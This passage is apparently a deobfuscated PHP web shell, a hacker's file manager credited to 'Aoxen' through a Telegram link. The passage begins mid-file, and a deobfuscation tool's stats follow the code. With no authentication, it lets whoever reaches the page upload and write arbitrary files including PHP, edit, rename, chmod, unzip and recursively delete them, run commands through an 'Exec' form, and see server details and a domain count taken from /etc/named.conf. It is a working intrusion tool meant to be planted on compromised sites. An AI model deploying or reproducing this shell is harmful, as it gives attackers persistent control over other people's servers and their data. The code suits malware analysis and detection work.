$o = explode('/', $n);

function f6($p) {
    if (function_exists("posix_getpwuid")) {
        $q = @posix_getpwuid(fileowner($p));
        $q = $q['name'];
    } else {
        $q = fileowner($p);
    }
    if (function_exists("posix_getgrgid")) {
        $r = @posix_getgrgid(filegroup($p));
        $r = $r['name'];
    } else {
        $r = filegroup($p);
    }
    return $q . '/' . $r;
}

if (isset($_POST['newFolderName'])) {
    if (mkdir($n . '/' . $_POST['newFolderName'])) {
        f1("Create Folder Successfully!", "Success", "success", "?dir=$n");
    } else {
        f1("Create Folder Failed", "Failed", "error", "?dir=$n");
    }
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
    if (file_put_contents($_POST['newFileName'], $_POST['newFileContent'])) {
        f1("Create File Successfully!", "Success", "success", "?dir=$n");
    } else {
        f1("Create File Failed", "Failed", "error", "?dir=$n");
    }
}
if (isset($_POST['newName']) && isset($_GET['item'])) {
    if ($_POST['newName'] == '') {
        f1("You miss an important value", "Ooopss..", "warning", "?dir=$n");
    }
    if (rename($n . '/' . $_GET['item'], $_POST['newName'])) {
        f1("Rename Successfully!", "Success", "success", "?dir=$n");
    } else {
        f1("Rename Failed", "Failed", "error", "?dir=$n");
    }
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
    if (file_put_contents($n . '/' . $_GET['item'], $_POST['newContent'])) {
        f1("Edit Successfully!", "Success", "success", "?dir=$n");
    } else {
        f1("Edit Failed", "Failed", "error", "?dir=$n");
    }
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
    if ($_POST['newPerm'] == '') {
        f1("You miss an important value", "Ooopss..", "warning", "?dir=$n");
    }
    if (chmod($n . '/' . $_GET['item'], $_POST['newPerm'])) {
        f1("Change Permission Successfully!", "Success", "success", "?dir=$n");
    } else {
        f1("Change Permission", "Failed", "error", "?dir=$n");
    }
}
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
    $item_path = $n . '/' . $_GET['item'];
    
    function deleteDirectory($dir) {
        if (!is_dir($dir)) {
            return false;
        }
        $items = array_diff(scandir($dir), array('.', '..'));
        foreach ($items as $item) {
            $item_path = $dir . '/' . $item;
            if (is_dir($item_path)) {
                deleteDirectory($item_path);
            } else {
                unlink($item_path);
            }
        }
        return rmdir($dir);
    }
    
    if (is_dir($item_path)) {
        if (deleteDirectory($item_path)) {
            f1("Delete Successfully!", "Success", "success", "?dir=$n");
        } else {
            f1("Delete Failed", "Failed", "error", "?dir=$n");
        }
    } else {
        if (unlink($item_path)) {
            f1("Delete Successfully!", "Success", "success", "?dir=$n");
        } else {
            f1("Delete Failed", "Failed", "error", "?dir=$n");
        }
    }
}

if (isset($_FILES['uploadfile'])) {
    $s = count($_FILES['uploadfile']['name']);
    for ($t = 0; $t < $s; $t++) {
        $u = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$t], $_FILES['uploadfile']['name'][$t]);
    }
    if ($s < 2) {
        if ($u) {
            f1("Upload File Successfully! ", "Success", "success", "?dir=$n");
        } else {
            f1("Upload Failed", "Failed", "error", "?dir=$n");
        }
    } else {
        if ($u) {
            f1("Upload $t Files Successfully! ", "Success", "success", "?dir=$n");
        } else {
            f1("Upload Failed", "Failed", "error", "?dir=$n");
        }
    }
}

if (isset($_POST['unzip']) && isset($_GET['item'])) {
    $zip = new ZipArchive;
    $res = $zip->open($n . '/' . $_GET['item']);
    if ($res === TRUE) {
        $zip->extractTo($n);
        $zip->close();
        f1("Unzip Successfully!", "Success", "success", "?dir=$n");
    } else {
        f1("Unzip Failed", "Failed", "error", "?dir=$n");
    }
}


$x = scandir($n);

$y = @file("/etc/named.conf", false);
if (!$y) {
    $z = "Cant read /etc/named.conf";
    $GLOBALS["need_to_update_header"] = "true";
} else {
    $aa = 0;
    foreach ($y as $ab) {
        if (@strstr($ab, "zone")) {
            preg_match_all('#zone "(.*)"#', $ab, $ac);
            flush();
            if (strlen(trim($ac[1][0])) > 2) {
                flush();
                $aa++;
            }
        }
    }
    $z = "$aa Domain";
}
?>
<meta charset=utf-8><meta content="width=device-width,initial-scale=1"name=viewport><link crossorigin=anonymous href=https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css integrity=sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3 rel=stylesheet><link crossorigin=anonymous href=https://pro.fontawesome.com/releases/v5.10.0/css/all.css integrity=sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p rel=stylesheet><title><?= $_SERVER['SERVER_NAME'] ?></title><style>body{background-color:#111;color:#f44;font-family:'Courier New',Courier,monospace}.container-fluid{padding:20px}.box{background-color:#222;border:1px solid #f44;border-radius:10px;box-shadow:0 0 15px #f44;padding:20px;margin-bottom:20px;transition:transform .2s}.box:hover{transform:scale(1.02)}.table-dark{background-color:#333}.btn-outline-light{border-color:#f44;color:#f44;transition:background-color .3s,color .3s}.btn-outline-light:hover{background-color:#f44;color:#fff}a{color:#f44;text-decoration:none}a:hover{color:#fff}.fa{color:#f44}.breadcrumb a{color:#f44}.breadcrumb a:hover{color:#fff}.breadcrumb span{color:#f44}.btn-group .btn{margin-right:5px}</style><div class=container-fluid><div class=py-3 id=main><div class="bg-dark box p-4 rounded-3 shadow"><div class="mb-3 info"><i class="fa fa-server"></i>	<?= php_uname() ?><br><i class="fa fa-microchip"></i>	<?= $_SERVER['SERVER_SOFTWARE'] ?><br><i class="fa fa-satellite-dish"></i>	<?= !@$_SERVER['SERVER_ADDR'] ? gethostbyname($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?><br><i class="fa fa-fingerprint"></i>	<?= $z ?></div><div class=breadcrumb><i class="fa fa fa-folder pt-1"></i>	<?php foreach ($o as $ad => $ae) : if ($ae == '' && $ad == 0) : ?><a class="text-light text-decoration-none"href="?dir=/">/</a><?php endif;
                                                                                                                                if ($ae == '') continue; ?><a class="text-light text-decoration-none"href="?dir=<?php for ($af = 0; $af <= $ad; $af++) {
                                                                                                                                echo "$o[$af]";
                                                                                                                                if ($af != $ad) echo "/";
                                                                                                                            } ?>"><?= $ae ?></a><span class=text-light>/</span><?php endforeach; ?> [ <?php echo f3($n, f4($n)) ?> ]<a class="text-light text-decoration-none"href=?> [HOME]</a></div><div class="d-flex justify-content-between"><div class=p-2><form action=""method=post><div class=row><div class="mb-3 col-md-9"><input class="form-control form-control-sm"name=command placeholder=Command></div><div class=col-md-3><button class="btn btn-outline-light btn-sm"type=submit>Exec</button></div></div></form></div><div class=p-2><form action=""method=post enctype=multipart/form-data><div class=row><div class="mb-3 col-md-9"><input class="form-control form-control-sm"name=uploadfile[] aria-describedby=inputGroupFileAddon04 aria-label=Upload id=inputGroupFile04 multiple type=file></div><div class=col-md-3><button class="btn btn-outline-light btn-sm"type=submit>Submit</button></div></div></form></div></div><div class=container id=tools><?php if (isset($_POST['command'])) : ?><div class="row justify-content-center"><pre></pre></div><?php endif; ?><?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $ag = $_GET['action'] ?><div class="row justify-content-center"><?php if ($ag == 'rename' && isset($_GET['item'])) : ?><form action=""method=post><div class=mb-3><label class=form-label for=name>New Name</label><input class=form-control name=newName value="<?= $_GET['item'] ?>"></div><button class="btn btn-outline-light"type=submit>Submit</button><button class="btn btn-outline-light"type=button onclick=history.go(-1)>Back</button></form><?php elseif ($ag == 'edit' && isset($_GET['item'])) : ?><form action=""method=post><div class=mb-3><label class=form-label for=name><?= $_GET['item'] ?></label><textarea class=form-control name=newContent rows=10 id=CopyFromTextArea><?= htmlspecialchars(file_get_contents($n . '/' . $_GET['item'])) ?></textarea></div><button class="btn btn-outline-light"type=submit>Submit</button><button class="btn btn-outline-light"type=button onclick=jscopy()>Copy</button><button class="btn btn-outline-light"type=button onclick=history.go(-1)>Back</button></form><?php elseif ($ag == 'view' && isset($_GET['item'])) : ?><div class=mb-3><label class=form-label for=name>File Name :<?= $_GET['item'] ?></label><textarea class=form-control name=newContent rows=10 disabled><?= htmlspecialchars(file_get_contents($n . '/' . $_GET['item'])) ?></textarea><br><button class="btn btn-outline-light"type=button onclick=history.go(-1)>Back</button></div><?php elseif ($ag == 'chmod' && isset($_GET['item'])) : ?><form action=""method=post><div class=mb-3><label class=form-label for=name><?= $_GET['item'] ?></label><input class=form-control name=newPerm value="<?= substr(sprintf('%o', fileperms($_GET['item'])), -4); ?>"></div><button class="btn btn-outline-light"type=submit>Submit</button><button class="btn btn-outline-light"type=button onclick=history.go(-1)>Back</button></form><?php elseif ($ag == 'unzip' && isset($_GET['item'])) : ?><form action=""method=post><div class=mb-3><label class=form-label for=name>Unzip:<?= $_GET['item'] ?></label></div><button class="btn btn-outline-light"type=submit name=unzip>Submit</button><button class="btn btn-outline-light"type=button onclick=history.go(-1)>Back</button></form><?php endif; ?></div><?php endif; ?><div class="row justify-content-center"><div class=collapse id=newFolderCollapse data-bs-parent=#tools style=transition:none><form action=""method=post><div class=mb-3><label class=form-label for=name>Folder Name</label><input class=form-control name=newFolderName placeholder=V1.0.0></div><button class="btn btn-outline-light"type=submit>Submit</form></div><div class=collapse id=newFileCollapse data-bs-parent=#tools style=transition:none><form action=""method=post><div class=mb-3><label class=form-label for=name>File Name</label><input class=form-control name=newFileName placeholder=V1.0.0.php></div><div class=mb-3><label class=form-label for=name>File Content</label><textarea class=form-control name=newFileContent rows=10 placeholder="Hello World - V1.0.0"></textarea></div><button class="btn btn-outline-light"type=submit>Submit</form></div></div></div><div class=table-responsive><table class="text-light table table-dark table-hover"><thead><tr><td style=width:35%>Name<td style=width:10%>Type<td style=width:10%>Size<td style=width:13%>Owner/Group<td style=width:10%>Permission<td style=width:13%>Last Modified<td style=width:9%>Actions<tbody class=text-nowrap><?php foreach ($x as $ah) : if (!is_dir($ah)) continue; ?><tr><td><?php if ($ah === '..') : ?><a class="text-light text-decoration-none"href="?dir=<?= dirname($n); ?>"><i class="fa fa-folder-open"></i><?= $ah ?></a><?php elseif ($ah === '.') : ?><a class="text-light text-decoration-none"href="?dir=<?= $n; ?>"><i class="fa fa-folder-open"></i><?= $ah ?></a><?php else : ?><a class="text-light text-decoration-none"href="?dir=<?= $n . '/' . $ah ?>"><i class="fa fa-folder"></i><?= $ah ?></a><?php endif; ?><td class=text-light><?= filetype($ah) ?><td class=text-light>-<td class=text-light><?= f6($ah) ?><td class=text-light><?php if (is_writable($n . '/' . $ah)) echo '<span class="text-success">';
                                                        elseif (!is_readable($n . '/' . $ah)) echo '<span class="text-danger">';
                                                        echo f4($n . '/' . $ah);
                                                        if (is_writable($n . '/' . $ah) || !is_readable($n . '/' . $ah)) ?><td class=text-light><?= date("Y-m-d h:i:s", filemtime($ah)); ?><td><?php if ($ah != '.' && $ah != '..') : ?><div class=btn-group><a class="btn btn-outline-light btn-sm mr-1"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=rename"><i class="fa fa-edit"></i></a><a class="btn btn-outline-light btn-sm mr-1"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=chmod"><i class="fa fa-file-signature"></i></a><a class="btn btn-outline-light btn-sm mr-1"href=""onclick='return deleteConfirm("?dir=<?= $n ?>&item=<?= $ah ?>&action=delete")'><i class="fa fa-trash"></i></a></div><?php elseif ($ah === '.') : ?><div class=btn-group><a class="btn btn-outline-light btn-sm mr-1"href=#newFolderCollapse aria-controls=newFolderCollapse aria-expanded=false data-bs-toggle=collapse role=button><i class="fa fa-folder-plus"></i></a><a class="btn btn-outline-light btn-sm mr-1"href=#newFileCollapse aria-controls=newFileCollapse aria-expanded=false data-bs-toggle=collapse role=button><i class="fa fa-file-plus"></i></a></div><?php endif; ?></tr><?php endforeach; ?><?php foreach ($x as $ah) : if (!is_file($ah)) continue; ?><tr><td><a class="text-light text-decoration-none"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=view"><i class="fa fa-file-code"></i><?= $ah ?></a><td class=text-light><?= (function_exists('mime_content_type') ? mime_content_type($ah) : filetype($ah)) ?><td class=text-light><?= f5($ah) ?><td class=text-light><?= f6($ah) ?><td class=text-light><?php if (is_writable($n . '/' . $ah)) echo '<span class="text-success">';
                                                        elseif (!is_readable($n . '/' . $ah)) echo '<span class="text-danger">';
                                                        echo f4($n . '/' . $ah);
                                                        if (is_writable($n . '/' . $ah) || !is_readable($n . '/' . $ah)) ?><td class=text-light><?= date("Y-m-d h:i:s", filemtime($ah)); ?><td><?php if ($ah != '.' && $ah != '..') : ?><div class=btn-group><a class="btn btn-outline-light btn-sm mr-1"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=edit"><i class="fa fa-file-edit"></i></a><a class="btn btn-outline-light btn-sm mr-1"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=rename"><i class="fa fa-edit"></i></a><a class="btn btn-outline-light btn-sm mr-1"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=chmod"><i class="fa fa-file-signature"></i></a><a class="btn btn-outline-light btn-sm mr-1"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=unzip"><i class="fa fa-file-archive"></i></a><a class="btn btn-outline-light btn-sm mr-1"href=""onclick='return deleteConfirm("?dir=<?= $n ?>&item=<?= $ah ?>&action=delete")'><i class="fa fa-trash"></i></a></div><?php endif; ?></tr><?php endforeach; ?></table></div><div class=text-light> <a class="text-light text-decoration-none"href=https://t.me/Aoxen>Aoxen</a><script>var creditsyear=new Date;document.write(creditsyear.getFullYear())</script></div></div></div></div><script src=https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js crossorigin=anonymous integrity=sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p></script><script src=https://cdn.jsdelivr.net/npm/[email protected]/dist/sweetalert2.all.min.js></script><script><?php if (isset($_SESSION['message'])) : ?>Swal.fire('<?= $_SESSION['status'] ?>', '<?= $_SESSION['message'] ?>', '<?= $_SESSION['class'] ?>')<?php endif;
                                                                                                                                                        f2(); ?>function deleteConfirm(url) {
            event.preventDefault();
            Swal.fire({
                title: 'Are you sure?',
                icon: 'warning',
                showCancelButton: true,
                confirmButtonColor: '#3085d6',
                cancelButtonColor: '#d33',
                confirmButtonText: 'Yes, delete it!'
            }).then((result) => {
                if (result.isConfirmed) {
                    window.location.href = url
                }
            })
        }

        function jscopy() {
            var jsCopy = document.getElementById("CopyFromTextArea");
            jsCopy.focus();
            jsCopy.select();
            document.execCommand("copy");
        }</script>

Function Calls

None

Variables

None

Stats

MD5 b1be0a2ec74d5425f0db92d3813dddda
Eval Count 0
Decode Time 65 ms